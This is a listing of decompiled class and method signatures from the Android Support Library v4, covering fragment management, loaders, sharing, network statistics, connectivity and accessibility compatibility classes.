public synchronized class TaskStackBuilderHoneycomb {
    public void TaskStackBuilderHoneycomb();
    public static android.app.PendingIntent getActivitiesPendingIntent(android.content.Context, int, android.content.Intent[], int);
}










android/support/v4/app/LoaderManagerImpl.class


package android.support.v4.app;
synchronized class LoaderManagerImpl extends LoaderManager {
    static final String TAG = LoaderManager;
    static boolean DEBUG;
    final android.support.v4.util.SparseArrayCompat mLoaders;
    final android.support.v4.util.SparseArrayCompat mInactiveLoaders;
    final String mWho;
    FragmentActivity mActivity;
    boolean mStarted;
    boolean mRetaining;
    boolean mRetainingStarted;
    boolean mCreatingLoader;
    void LoaderManagerImpl(String, FragmentActivity, boolean);
    void updateActivity(FragmentActivity);
    private LoaderManagerImpl$LoaderInfo createLoader(int, android.os.Bundle, LoaderManager$LoaderCallbacks);
    private LoaderManagerImpl$LoaderInfo createAndInstallLoader(int, android.os.Bundle, LoaderManager$LoaderCallbacks);
    void installLoader(LoaderManagerImpl$LoaderInfo);
    public android.support.v4.content.Loader initLoader(int, android.os.Bundle, LoaderManager$LoaderCallbacks);
    public android.support.v4.content.Loader restartLoader(int, android.os.Bundle, LoaderManager$LoaderCallbacks);
    public void destroyLoader(int);
    public android.support.v4.content.Loader getLoader(int);
    void doStart();
    void doStop();
    void doRetain();
    void finishRetain();
    void doReportNextStart();
    void doReportStart();
    void doDestroy();
    public String toString();
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
    public boolean hasRunningLoaders();
    static void <clinit>();
}










android/support/v4/app/Fragment$InstantiationException.class


package android.support.v4.app;
public synchronized class Fragment$InstantiationException extends RuntimeException {
    public void Fragment$InstantiationException(String, Exception);
}










android/support/v4/app/FragmentTabHost$SavedState$1.class


package android.support.v4.app;
final synchronized class FragmentTabHost$SavedState$1 implements android.os.Parcelable$Creator {
    void FragmentTabHost$SavedState$1();
    public FragmentTabHost$SavedState createFromParcel(android.os.Parcel);
    public FragmentTabHost$SavedState[] newArray(int);
}










android/support/v4/app/Fragment$1.class


package android.support.v4.app;
synchronized class Fragment$1 implements FragmentContainer {
    void Fragment$1(Fragment);
    public android.view.View findViewById(int);
}










android/support/v4/app/FragmentTabHost$SavedState.class


package android.support.v4.app;
synchronized class FragmentTabHost$SavedState extends android.view.View$BaseSavedState {
    String curTab;
    public static final android.os.Parcelable$Creator CREATOR;
    void FragmentTabHost$SavedState(android.os.Parcelable);
    private void FragmentTabHost$SavedState(android.os.Parcel);
    public void writeToParcel(android.os.Parcel, int);
    public String toString();
    static void <clinit>();
}










android/support/v4/app/ShareCompat$ShareCompatImplICS.class


package android.support.v4.app;
synchronized class ShareCompat$ShareCompatImplICS extends ShareCompat$ShareCompatImplBase {
    void ShareCompat$ShareCompatImplICS();
    public void configureMenuItem(android.view.MenuItem, ShareCompat$IntentBuilder);
    boolean shouldAddChooserIntent(android.view.MenuItem);
}










android/support/v4/app/FragmentActivity$FragmentTag.class


package android.support.v4.app;
synchronized class FragmentActivity$FragmentTag {
    public static final int[] Fragment;
    public static final int Fragment_id = 1;
    public static final int Fragment_name = 0;
    public static final int Fragment_tag = 2;
    void FragmentActivity$FragmentTag();
    static void <clinit>();
}










android/support/v4/app/BackStackState$1.class


package android.support.v4.app;
final synchronized class BackStackState$1 implements android.os.Parcelable$Creator {
    void BackStackState$1();
    public BackStackState createFromParcel(android.os.Parcel);
    public BackStackState[] newArray(int);
}










android/support/v4/app/FragmentManagerImpl$4.class


package android.support.v4.app;
synchronized class FragmentManagerImpl$4 implements Runnable {
    void FragmentManagerImpl$4(FragmentManagerImpl, int, int);
    public void run();
}










android/support/v4/app/NotificationCompat$NotificationCompatImplBase.class


package android.support.v4.app;
synchronized class NotificationCompat$NotificationCompatImplBase implements NotificationCompat$NotificationCompatImpl {
    void NotificationCompat$NotificationCompatImplBase();
    public android.app.Notification build(NotificationCompat$Builder);
}










android/support/v4/app/LoaderManager.class


package android.support.v4.app;
public abstract synchronized class LoaderManager {
    public void LoaderManager();
    public abstract android.support.v4.content.Loader initLoader(int, android.os.Bundle, LoaderManager$LoaderCallbacks);
    public abstract android.support.v4.content.Loader restartLoader(int, android.os.Bundle, LoaderManager$LoaderCallbacks);
    public abstract void destroyLoader(int);
    public abstract android.support.v4.content.Loader getLoader(int);
    public abstract void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
    public static void enableDebugLogging(boolean);
    public boolean hasRunningLoaders();
}










android/support/v4/app/FragmentTransaction.class


package android.support.v4.app;
public abstract synchronized class FragmentTransaction {
    public static final int TRANSIT_ENTER_MASK = 4096;
    public static final int TRANSIT_EXIT_MASK = 8192;
    public static final int TRANSIT_UNSET = -1;
    public static final int TRANSIT_NONE = 0;
    public static final int TRANSIT_FRAGMENT_OPEN = 4097;
    public static final int TRANSIT_FRAGMENT_CLOSE = 8194;
    public static final int TRANSIT_FRAGMENT_FADE = 4099;
    public void FragmentTransaction();
    public abstract FragmentTransaction add(Fragment, String);
    public abstract FragmentTransaction add(int, Fragment);
    public abstract FragmentTransaction add(int, Fragment, String);
    public abstract FragmentTransaction replace(int, Fragment);
    public abstract FragmentTransaction replace(int, Fragment, String);
    public abstract FragmentTransaction remove(Fragment);
    public abstract FragmentTransaction hide(Fragment);
    public abstract FragmentTransaction show(Fragment);
    public abstract FragmentTransaction detach(Fragment);
    public abstract FragmentTransaction attach(Fragment);
    public abstract boolean isEmpty();
    public abstract FragmentTransaction setCustomAnimations(int, int);
    public abstract FragmentTransaction setCustomAnimations(int, int, int, int);
    public abstract FragmentTransaction setTransition(int);
    public abstract FragmentTransaction setTransitionStyle(int);
    public abstract FragmentTransaction addToBackStack(String);
    public abstract boolean isAddToBackStackAllowed();
    public abstract FragmentTransaction disallowAddToBackStack();
    public abstract FragmentTransaction setBreadCrumbTitle(int);
    public abstract FragmentTransaction setBreadCrumbTitle(CharSequence);
    public abstract FragmentTransaction setBreadCrumbShortTitle(int);
    public abstract FragmentTransaction setBreadCrumbShortTitle(CharSequence);
    public abstract int commit();
    public abstract int commitAllowingStateLoss();
}










android/support/v4/app/NavUtils$NavUtilsImplBase.class


package android.support.v4.app;
synchronized class NavUtils$NavUtilsImplBase implements NavUtils$NavUtilsImpl {
    void NavUtils$NavUtilsImplBase();
    public android.content.Intent getParentActivityIntent(android.app.Activity);
    public boolean shouldUpRecreateTask(android.app.Activity, android.content.Intent);
    public void navigateUpTo(android.app.Activity, android.content.Intent);
    public String getParentActivityName(android.content.Context, android.content.pm.ActivityInfo);
}










android/support/v4/app/TaskStackBuilder$TaskStackBuilderImpl.class


package android.support.v4.app;
abstract interface TaskStackBuilder$TaskStackBuilderImpl {
    public abstract android.app.PendingIntent getPendingIntent(android.content.Context, android.content.Intent[], int, int, android.os.Bundle);
}










android/support/v4/app/FragmentManager$BackStackEntry.class


package android.support.v4.app;
public abstract interface FragmentManager$BackStackEntry {
    public abstract int getId();
    public abstract String getName();
    public abstract int getBreadCrumbTitleRes();
    public abstract int getBreadCrumbShortTitleRes();
    public abstract CharSequence getBreadCrumbTitle();
    public abstract CharSequence getBreadCrumbShortTitle();
}










android/support/v4/app/ActivityOptionsCompat.class


package android.support.v4.app;
public synchronized class ActivityOptionsCompat {
    public static ActivityOptionsCompat makeCustomAnimation(android.content.Context, int, int);
    public static ActivityOptionsCompat makeScaleUpAnimation(android.view.View, int, int, int, int);
    public static ActivityOptionsCompat makeThumbnailScaleUpAnimation(android.view.View, android.graphics.Bitmap, int, int);
    protected void ActivityOptionsCompat();
    public android.os.Bundle toBundle();
    public void update(ActivityOptionsCompat);
}










android/support/v4/app/NotificationCompat$NotificationCompatImpl.class


package android.support.v4.app;
abstract interface NotificationCompat$NotificationCompatImpl {
    public abstract android.app.Notification build(NotificationCompat$Builder);
}










android/support/v4/app/ActionBarDrawerToggleHoneycomb.class


package android.support.v4.app;
synchronized class ActionBarDrawerToggleHoneycomb {
    private static final String TAG = ActionBarDrawerToggleHoneycomb;
    private static final int[] THEME_ATTRS;
    void ActionBarDrawerToggleHoneycomb();
    public static Object setActionBarUpIndicator(Object, android.app.Activity, android.graphics.drawable.Drawable, int);
    public static Object setActionBarDescription(Object, android.app.Activity, int);
    public static android.graphics.drawable.Drawable getThemeUpIndicator(android.app.Activity);
    static void <clinit>();
}










android/support/v4/app/NoSaveStateFrameLayout.class


package android.support.v4.app;
synchronized class NoSaveStateFrameLayout extends android.widget.FrameLayout {
    static android.view.ViewGroup wrap(android.view.View);
    public void NoSaveStateFrameLayout(android.content.Context);
    protected void dispatchSaveInstanceState(android.util.SparseArray);
    protected void dispatchRestoreInstanceState(android.util.SparseArray);
}










android/support/v4/app/ShareCompat$IntentBuilder.class


package android.support.v4.app;
public synchronized class ShareCompat$IntentBuilder {
    private android.app.Activity mActivity;
    private android.content.Intent mIntent;
    private CharSequence mChooserTitle;
    private java.util.ArrayList mToAddresses;
    private java.util.ArrayList mCcAddresses;
    private java.util.ArrayList mBccAddresses;
    private java.util.ArrayList mStreams;
    public static ShareCompat$IntentBuilder from(android.app.Activity);
    private void ShareCompat$IntentBuilder(android.app.Activity);
    public android.content.Intent getIntent();
    android.app.Activity getActivity();
    private void combineArrayExtra(String, java.util.ArrayList);
    private void combineArrayExtra(String, String[]);
    public android.content.Intent createChooserIntent();
    public void startChooser();
    public ShareCompat$IntentBuilder setChooserTitle(CharSequence);
    public ShareCompat$IntentBuilder setChooserTitle(int);
    public ShareCompat$IntentBuilder setType(String);
    public ShareCompat$IntentBuilder setText(CharSequence);
    public ShareCompat$IntentBuilder setHtmlText(String);
    public ShareCompat$IntentBuilder setStream(android.net.Uri);
    public ShareCompat$IntentBuilder addStream(android.net.Uri);
    public ShareCompat$IntentBuilder setEmailTo(String[]);
    public ShareCompat$IntentBuilder addEmailTo(String);
    public ShareCompat$IntentBuilder addEmailTo(String[]);
    public ShareCompat$IntentBuilder setEmailCc(String[]);
    public ShareCompat$IntentBuilder addEmailCc(String);
    public ShareCompat$IntentBuilder addEmailCc(String[]);
    public ShareCompat$IntentBuilder setEmailBcc(String[]);
    public ShareCompat$IntentBuilder addEmailBcc(String);
    public ShareCompat$IntentBuilder addEmailBcc(String[]);
    public ShareCompat$IntentBuilder setSubject(String);
}










android/support/v4/app/TaskStackBuilder$TaskStackBuilderImplJellybean.class


package android.support.v4.app;
synchronized class TaskStackBuilder$TaskStackBuilderImplJellybean implements TaskStackBuilder$TaskStackBuilderImpl {
    void TaskStackBuilder$TaskStackBuilderImplJellybean();
    public android.app.PendingIntent getPendingIntent(android.content.Context, android.content.Intent[], int, int, android.os.Bundle);
}










android/support/v4/app/ShareCompat$ShareCompatImpl.class


package android.support.v4.app;
abstract interface ShareCompat$ShareCompatImpl {
    public abstract void configureMenuItem(android.view.MenuItem, ShareCompat$IntentBuilder);
    public abstract String escapeHtml(CharSequence);
}










android/support/v4/app/ListFragment$1.class


package android.support.v4.app;
synchronized class ListFragment$1 implements Runnable {
    void ListFragment$1(ListFragment);
    public void run();
}










android/support/v4/app/FragmentManager.class


package android.support.v4.app;
public abstract synchronized class FragmentManager {
    public static final int POP_BACK_STACK_INCLUSIVE = 1;
    public void FragmentManager();
    public abstract FragmentTransaction beginTransaction();
    public FragmentTransaction openTransaction();
    public abstract boolean executePendingTransactions();
    public abstract Fragment findFragmentById(int);
    public abstract Fragment findFragmentByTag(String);
    public abstract void popBackStack();
    public abstract boolean popBackStackImmediate();
    public abstract void popBackStack(String, int);
    public abstract boolean popBackStackImmediate(String, int);
    public abstract void popBackStack(int, int);
    public abstract boolean popBackStackImmediate(int, int);
    public abstract int getBackStackEntryCount();
    public abstract FragmentManager$BackStackEntry getBackStackEntryAt(int);
    public abstract void addOnBackStackChangedListener(FragmentManager$OnBackStackChangedListener);
    public abstract void removeOnBackStackChangedListener(FragmentManager$OnBackStackChangedListener);
    public abstract void putFragment(android.os.Bundle, String, Fragment);
    public abstract Fragment getFragment(android.os.Bundle, String);
    public abstract Fragment$SavedState saveFragmentInstanceState(Fragment);
    public abstract void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
    public static void enableDebugLogging(boolean);
}










android/support/v4/app/ActionBarDrawerToggle$1.class


package android.support.v4.app;
synchronized class ActionBarDrawerToggle$1 {
}










android/support/v4/app/NotificationCompat$NotificationCompatImplJellybean.class


package android.support.v4.app;
synchronized class NotificationCompat$NotificationCompatImplJellybean implements NotificationCompat$NotificationCompatImpl {
    void NotificationCompat$NotificationCompatImplJellybean();
    public android.app.Notification build(NotificationCompat$Builder);
}










android/support/v4/app/TaskStackBuilder$TaskStackBuilderImplBase.class


package android.support.v4.app;
synchronized class TaskStackBuilder$TaskStackBuilderImplBase implements TaskStackBuilder$TaskStackBuilderImpl {
    void TaskStackBuilder$TaskStackBuilderImplBase();
    public android.app.PendingIntent getPendingIntent(android.content.Context, android.content.Intent[], int, int, android.os.Bundle);
}










android/support/v4/app/FragmentTabHost.class


package android.support.v4.app;
public synchronized class FragmentTabHost extends android.widget.TabHost implements android.widget.TabHost$OnTabChangeListener {
    private final java.util.ArrayList mTabs;
    private android.widget.FrameLayout mRealTabContent;
    private android.content.Context mContext;
    private FragmentManager mFragmentManager;
    private int mContainerId;
    private android.widget.TabHost$OnTabChangeListener mOnTabChangeListener;
    private FragmentTabHost$TabInfo mLastTab;
    private boolean mAttached;
    public void FragmentTabHost(android.content.Context);
    public void FragmentTabHost(android.content.Context, android.util.AttributeSet);
    private void initFragmentTabHost(android.content.Context, android.util.AttributeSet);
    public void setup();
    public void setup(android.content.Context, FragmentManager);
    public void setup(android.content.Context, FragmentManager, int);
    private void ensureContent();
    public void setOnTabChangedListener(android.widget.TabHost$OnTabChangeListener);
    public void addTab(android.widget.TabHost$TabSpec, Class, android.os.Bundle);
    protected void onAttachedToWindow();
    protected void onDetachedFromWindow();
    protected android.os.Parcelable onSaveInstanceState();
    protected void onRestoreInstanceState(android.os.Parcelable);
    public void onTabChanged(String);
    private FragmentTransaction doTabChanged(String, FragmentTransaction);
}










android/support/v4/app/NavUtilsJB.class


package android.support.v4.app;
synchronized class NavUtilsJB {
    void NavUtilsJB();
    public static android.content.Intent getParentActivityIntent(android.app.Activity);
    public static boolean shouldUpRecreateTask(android.app.Activity, android.content.Intent);
    public static void navigateUpTo(android.app.Activity, android.content.Intent);
    public static String getParentActivityName(android.content.pm.ActivityInfo);
}










android/support/v4/app/BackStackState.class


package android.support.v4.app;
final synchronized class BackStackState implements android.os.Parcelable {
    final int[] mOps;
    final int mTransition;
    final int mTransitionStyle;
    final String mName;
    final int mIndex;
    final int mBreadCrumbTitleRes;
    final CharSequence mBreadCrumbTitleText;
    final int mBreadCrumbShortTitleRes;
    final CharSequence mBreadCrumbShortTitleText;
    public static final android.os.Parcelable$Creator CREATOR;
    public void BackStackState(FragmentManagerImpl, BackStackRecord);
    public void BackStackState(android.os.Parcel);
    public BackStackRecord instantiate(FragmentManagerImpl);
    public int describeContents();
    public void writeToParcel(android.os.Parcel, int);
    static void <clinit>();
}










android/support/v4/app/FragmentManagerImpl$5.class


package android.support.v4.app;
synchronized class FragmentManagerImpl$5 implements android.view.animation.Animation$AnimationListener {
    void FragmentManagerImpl$5(FragmentManagerImpl, Fragment);
    public void onAnimationEnd(android.view.animation.Animation);
    public void onAnimationRepeat(android.view.animation.Animation);
    public void onAnimationStart(android.view.animation.Animation);
}










android/support/v4/app/Fragment$SavedState.class


package android.support.v4.app;
public synchronized class Fragment$SavedState implements android.os.Parcelable {
    final android.os.Bundle mState;
    public static final android.os.Parcelable$Creator CREATOR;
    void Fragment$SavedState(android.os.Bundle);
    void Fragment$SavedState(android.os.Parcel, ClassLoader);
    public int describeContents();
    public void writeToParcel(android.os.Parcel, int);
    static void <clinit>();
}










android/support/v4/os/ParcelableCompatCreatorHoneycombMR2Stub.class


package android.support.v4.os;
synchronized class ParcelableCompatCreatorHoneycombMR2Stub {
    void ParcelableCompatCreatorHoneycombMR2Stub();
    static android.os.Parcelable$Creator instantiate(ParcelableCompatCreatorCallbacks);
}










android/support/v4/os/ParcelableCompat.class


package android.support.v4.os;
public synchronized class ParcelableCompat {
    public void ParcelableCompat();
    public static android.os.Parcelable$Creator newCreator(ParcelableCompatCreatorCallbacks);
}










android/support/v4/os/ParcelableCompatCreatorHoneycombMR2.class


package android.support.v4.os;
synchronized class ParcelableCompatCreatorHoneycombMR2 implements android.os.Parcelable$ClassLoaderCreator {
    private final ParcelableCompatCreatorCallbacks mCallbacks;
    public void ParcelableCompatCreatorHoneycombMR2(ParcelableCompatCreatorCallbacks);
    public Object createFromParcel(android.os.Parcel);
    public Object createFromParcel(android.os.Parcel, ClassLoader);
    public Object[] newArray(int);
}










android/support/v4/os/ParcelableCompatCreatorCallbacks.class


package android.support.v4.os;
public abstract interface ParcelableCompatCreatorCallbacks {
    public abstract Object createFromParcel(android.os.Parcel, ClassLoader);
    public abstract Object[] newArray(int);
}










android/support/v4/os/ParcelableCompat$CompatCreator.class


package android.support.v4.os;
synchronized class ParcelableCompat$CompatCreator implements android.os.Parcelable$Creator {
    final ParcelableCompatCreatorCallbacks mCallbacks;
    public void ParcelableCompat$CompatCreator(ParcelableCompatCreatorCallbacks);
    public Object createFromParcel(android.os.Parcel);
    public Object[] newArray(int);
}










android/support/v4/net/TrafficStatsCompat$1.class


package android.support.v4.net;
synchronized class TrafficStatsCompat$1 {
}










android/support/v4/net/TrafficStatsCompat$BaseTrafficStatsCompatImpl$SocketTags.class


package android.support.v4.net;
synchronized class TrafficStatsCompat$BaseTrafficStatsCompatImpl$SocketTags {
    public int statsTag;
    private void TrafficStatsCompat$BaseTrafficStatsCompatImpl$SocketTags();
}










android/support/v4/net/ConnectivityManagerCompatHoneycombMR2.class


package android.support.v4.net;
synchronized class ConnectivityManagerCompatHoneycombMR2 {
    void ConnectivityManagerCompatHoneycombMR2();
    public static boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/ConnectivityManagerCompatJellyBean.class


package android.support.v4.net;
synchronized class ConnectivityManagerCompatJellyBean {
    void ConnectivityManagerCompatJellyBean();
    public static boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/ConnectivityManagerCompat$BaseConnectivityManagerCompatImpl.class


package android.support.v4.net;
synchronized class ConnectivityManagerCompat$BaseConnectivityManagerCompatImpl implements ConnectivityManagerCompat$ConnectivityManagerCompatImpl {
    void ConnectivityManagerCompat$BaseConnectivityManagerCompatImpl();
    public boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/ConnectivityManagerCompat.class


package android.support.v4.net;
public synchronized class ConnectivityManagerCompat {
    private static final ConnectivityManagerCompat$ConnectivityManagerCompatImpl IMPL;
    public void ConnectivityManagerCompat();
    public static boolean isActiveNetworkMetered(android.net.ConnectivityManager);
    public static android.net.NetworkInfo getNetworkInfoFromBroadcast(android.net.ConnectivityManager, android.content.Intent);
    static void <clinit>();
}










android/support/v4/net/ConnectivityManagerCompat$JellyBeanConnectivityManagerCompatImpl.class


package android.support.v4.net;
synchronized class ConnectivityManagerCompat$JellyBeanConnectivityManagerCompatImpl implements ConnectivityManagerCompat$ConnectivityManagerCompatImpl {
    void ConnectivityManagerCompat$JellyBeanConnectivityManagerCompatImpl();
    public boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/TrafficStatsCompat$IcsTrafficStatsCompatImpl.class


package android.support.v4.net;
synchronized class TrafficStatsCompat$IcsTrafficStatsCompatImpl implements TrafficStatsCompat$TrafficStatsCompatImpl {
    void TrafficStatsCompat$IcsTrafficStatsCompatImpl();
    public void clearThreadStatsTag();
    public int getThreadStatsTag();
    public void incrementOperationCount(int);
    public void incrementOperationCount(int, int);
    public void setThreadStatsTag(int);
    public void tagSocket(java.net.Socket) throws java.net.SocketException;
    public void untagSocket(java.net.Socket) throws java.net.SocketException;
}










android/support/v4/net/TrafficStatsCompat$BaseTrafficStatsCompatImpl$1.class


package android.support.v4.net;
synchronized class TrafficStatsCompat$BaseTrafficStatsCompatImpl$1 extends ThreadLocal {
    void TrafficStatsCompat$BaseTrafficStatsCompatImpl$1(TrafficStatsCompat$BaseTrafficStatsCompatImpl);
    protected TrafficStatsCompat$BaseTrafficStatsCompatImpl$SocketTags initialValue();
}










android/support/v4/net/TrafficStatsCompatIcs.class


package android.support.v4.net;
public synchronized class TrafficStatsCompatIcs {
    public void TrafficStatsCompatIcs();
    public static void clearThreadStatsTag();
    public static int getThreadStatsTag();
    public static void incrementOperationCount(int);
    public static void incrementOperationCount(int, int);
    public static void setThreadStatsTag(int);
    public static void tagSocket(java.net.Socket) throws java.net.SocketException;
    public static void untagSocket(java.net.Socket) throws java.net.SocketException;
}










android/support/v4/net/TrafficStatsCompat$BaseTrafficStatsCompatImpl.class


package android.support.v4.net;
synchronized class TrafficStatsCompat$BaseTrafficStatsCompatImpl implements TrafficStatsCompat$TrafficStatsCompatImpl {
    private ThreadLocal mThreadSocketTags;
    void TrafficStatsCompat$BaseTrafficStatsCompatImpl();
    public void clearThreadStatsTag();
    public int getThreadStatsTag();
    public void incrementOperationCount(int);
    public void incrementOperationCount(int, int);
    public void setThreadStatsTag(int);
    public void tagSocket(java.net.Socket);
    public void untagSocket(java.net.Socket);
}










android/support/v4/net/ConnectivityManagerCompat$GingerbreadConnectivityManagerCompatImpl.class


package android.support.v4.net;
synchronized class ConnectivityManagerCompat$GingerbreadConnectivityManagerCompatImpl implements ConnectivityManagerCompat$ConnectivityManagerCompatImpl {
    void ConnectivityManagerCompat$GingerbreadConnectivityManagerCompatImpl();
    public boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/ConnectivityManagerCompatGingerbread.class


package android.support.v4.net;
synchronized class ConnectivityManagerCompatGingerbread {
    void ConnectivityManagerCompatGingerbread();
    public static boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/ConnectivityManagerCompat$HoneycombMR2ConnectivityManagerCompatImpl.class


package android.support.v4.net;
synchronized class ConnectivityManagerCompat$HoneycombMR2ConnectivityManagerCompatImpl implements ConnectivityManagerCompat$ConnectivityManagerCompatImpl {
    void ConnectivityManagerCompat$HoneycombMR2ConnectivityManagerCompatImpl();
    public boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/TrafficStatsCompat$TrafficStatsCompatImpl.class


package android.support.v4.net;
abstract interface TrafficStatsCompat$TrafficStatsCompatImpl {
    public abstract void clearThreadStatsTag();
    public abstract int getThreadStatsTag();
    public abstract void incrementOperationCount(int);
    public abstract void incrementOperationCount(int, int);
    public abstract void setThreadStatsTag(int);
    public abstract void tagSocket(java.net.Socket) throws java.net.SocketException;
    public abstract void untagSocket(java.net.Socket) throws java.net.SocketException;
}










android/support/v4/net/ConnectivityManagerCompat$ConnectivityManagerCompatImpl.class


package android.support.v4.net;
abstract interface ConnectivityManagerCompat$ConnectivityManagerCompatImpl {
    public abstract boolean isActiveNetworkMetered(android.net.ConnectivityManager);
}










android/support/v4/net/TrafficStatsCompat.class


package android.support.v4.net;
public synchronized class TrafficStatsCompat {
    private static final TrafficStatsCompat$TrafficStatsCompatImpl IMPL;
    public void TrafficStatsCompat();
    public static void clearThreadStatsTag();
    public static int getThreadStatsTag();
    public static void incrementOperationCount(int);
    public static void incrementOperationCount(int, int);
    public static void setThreadStatsTag(int);
    public static void tagSocket(java.net.Socket) throws java.net.SocketException;
    public static void untagSocket(java.net.Socket) throws java.net.SocketException;
    static void <clinit>();
}










android/support/v4/database/DatabaseUtilsCompat.class


package android.support.v4.database;
public synchronized class DatabaseUtilsCompat {
    private void DatabaseUtilsCompat();
    public static String concatenateWhere(String, String);
    public static String[] appendSelectionArgs(String[], String[]);
}










android/support/v4/view/PagerTitleStrip.class


package android.support.v4.view;
public synchronized class PagerTitleStrip extends android.view.ViewGroup implements ViewPager$Decor {
    private static final String TAG = PagerTitleStrip;
    ViewPager mPager;
    android.widget.TextView mPrevText;
    android.widget.TextView mCurrText;
    android.widget.TextView mNextText;
    private int mLastKnownCurrentPage;
    private float mLastKnownPositionOffset;
    private int mScaledTextSpacing;
    private int mGravity;
    private boolean mUpdatingText;
    private boolean mUpdatingPositions;
    private final PagerTitleStrip$PageListener mPageListener;
    private ref.WeakReference mWatchingAdapter;
    private static final int[] ATTRS;
    private static final int[] TEXT_ATTRS;
    private static final float SIDE_ALPHA = 0.6;
    private static final int TEXT_SPACING = 16;
    private int mNonPrimaryAlpha;
    int mTextColor;
    private static final PagerTitleStrip$PagerTitleStripImpl IMPL;
    private static void setSingleLineAllCaps(android.widget.TextView);
    public void PagerTitleStrip(android.content.Context);
    public void PagerTitleStrip(android.content.Context, android.util.AttributeSet);
    public void setTextSpacing(int);
    public int getTextSpacing();
    public void setNonPrimaryAlpha(float);
    public void setTextColor(int);
    public void setTextSize(int, float);
    public void setGravity(int);
    protected void onAttachedToWindow();
    protected void onDetachedFromWindow();
    void updateText(int, PagerAdapter);
    public void requestLayout();
    void updateAdapter(PagerAdapter, PagerAdapter);
    void updateTextPositions(int, float, boolean);
    protected void onMeasure(int, int);
    protected void onLayout(boolean, int, int, int, int);
    int getMinHeight();
    static void <clinit>();
}










android/support/v4/view/MenuItemCompat.class


package android.support.v4.view;
public synchronized class MenuItemCompat {
    public static final int SHOW_AS_ACTION_NEVER = 0;
    public static final int SHOW_AS_ACTION_IF_ROOM = 1;
    public static final int SHOW_AS_ACTION_ALWAYS = 2;
    public static final int SHOW_AS_ACTION_WITH_TEXT = 4;
    public static final int SHOW_AS_ACTION_COLLAPSE_ACTION_VIEW = 8;
    static final MenuItemCompat$MenuVersionImpl IMPL;
    public void MenuItemCompat();
    public static boolean setShowAsAction(android.view.MenuItem, int);
    public static android.view.MenuItem setActionView(android.view.MenuItem, android.view.View);
    static void <clinit>();
}










android/support/v4/view/PagerTitleStrip$PageListener.class


package android.support.v4.view;
synchronized class PagerTitleStrip$PageListener extends android.database.DataSetObserver implements ViewPager$OnPageChangeListener, ViewPager$OnAdapterChangeListener {
    private int mScrollState;
    private void PagerTitleStrip$PageListener(PagerTitleStrip);
    public void onPageScrolled(int, float, int);
    public void onPageSelected(int);
    public void onPageScrollStateChanged(int);
    public void onAdapterChanged(PagerAdapter, PagerAdapter);
    public void onChanged();
}










android/support/v4/view/KeyEventCompat$BaseKeyEventVersionImpl.class


package android.support.v4.view;
synchronized class KeyEventCompat$BaseKeyEventVersionImpl implements KeyEventCompat$KeyEventVersionImpl {
    private static final int META_MODIFIER_MASK = 247;
    private static final int META_ALL_MASK = 247;
    void KeyEventCompat$BaseKeyEventVersionImpl();
    private static int metaStateFilterDirectionalModifiers(int, int, int, int, int);
    public int normalizeMetaState(int);
    public boolean metaStateHasModifiers(int, int);
    public boolean metaStateHasNoModifiers(int);
    public void startTracking(android.view.KeyEvent);
    public boolean isTracking(android.view.KeyEvent);
}










android/support/v4/view/ViewCompat$ICSViewCompatImpl.class


package android.support.v4.view;
synchronized class ViewCompat$ICSViewCompatImpl extends ViewCompat$HCViewCompatImpl {
    void ViewCompat$ICSViewCompatImpl();
    public boolean canScrollHorizontally(android.view.View, int);
    public boolean canScrollVertically(android.view.View, int);
    public void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public void setAccessibilityDelegate(android.view.View, AccessibilityDelegateCompat);
}










android/support/v4/view/AccessibilityDelegateCompat.class


package android.support.v4.view;
public synchronized class AccessibilityDelegateCompat {
    private static final AccessibilityDelegateCompat$AccessibilityDelegateImpl IMPL;
    private static final Object DEFAULT_DELEGATE;
    final Object mBridge;
    public void AccessibilityDelegateCompat();
    Object getBridge();
    public void sendAccessibilityEvent(android.view.View, int);
    public void sendAccessibilityEventUnchecked(android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(android.view.View);
    public boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
    static void <clinit>();
}










android/support/v4/view/AccessibilityDelegateCompatJellyBean$AccessibilityDelegateBridgeJellyBean.class


package android.support.v4.view;
public abstract interface AccessibilityDelegateCompatJellyBean$AccessibilityDelegateBridgeJellyBean {
    public abstract boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onInitializeAccessibilityNodeInfo(android.view.View, Object);
    public abstract void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void sendAccessibilityEvent(android.view.View, int);
    public abstract void sendAccessibilityEventUnchecked(android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract Object getAccessibilityNodeProvider(android.view.View);
    public abstract boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
}










android/support/v4/view/ViewPager$2.class


package android.support.v4.view;
final synchronized class ViewPager$2 implements android.view.animation.Interpolator {
    void ViewPager$2();
    public float getInterpolation(float);
}










